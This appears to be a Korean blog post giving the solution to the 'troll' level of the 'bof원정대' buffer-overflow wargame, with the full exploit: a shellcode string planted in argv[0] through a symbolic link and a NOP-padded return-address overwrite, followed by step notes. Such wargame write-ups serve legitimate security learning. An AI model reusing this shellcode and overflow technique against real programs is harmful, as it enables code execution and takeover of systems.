티스토리 뷰

해답 : ./`python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\xb7\xfb\xff\xbf"'`



argc != 2 로 인해서 그 동안 사용해왔던 argv[2]에 쉘코드를 넣는 방식이 막혔으며 argv[1]은 마지막 줄에서 memset으로 지워지기 때문에 사용불가능합니다. 이 때 사용하는 것이 바로 argv[0]에 쉘코드를 넣는 방식입니다. 



문제를 푸는 방식 



trolll 심볼릭 링크 생성법

ln -s troll `python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`


1. troll.c 를 cp 명령어로 복사한 후 이 것을 이용해서 argv[0]의 주소를 알아냅니다. printf("%p\n",argv[0]);

이 때 이 troll.c를 이용해서 새로 만든 파일은 마찬가지로 쉘코드를 이름은 물론이고 뒤에 쓸 argv[1]에 해당하는 인자값도 모두 넣은 상태로 argv[0] 의 주소를 알아내야합니다. 

왜냐하면 argv 값에 따라서 argv[0]의 길이가 변경되기 때문입니다. 


2. 심볼릭 링크를 이용해서 쉘코드를 이름으로한 파일을 생성한다.(troll의 심볼릭 링크)

이 때 쉘코드에는 2f가 포함되어서는 안됩니다. 2f = / 이고 이 것이 오류를 일으킵니다. 


3. 주소를 알아낸 후에 주소를 코드에 집어넣은 후 문제를 풀어냅니다. 










'문제풀이 > bof원정대' 카테고리의 다른 글

bof원정대 golem -> darkknight  (0) 2016.08.18
bof원정대 troll -> vampire  (0) 2016.08.16
bof 원정대 darkelf -> orge  (0) 2016.08.15
bof 원정대 wolfman -> darkelf  (0) 2016.08.15
bof 원정대 orc -> wolfman  (0) 2016.08.15
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
글 보관함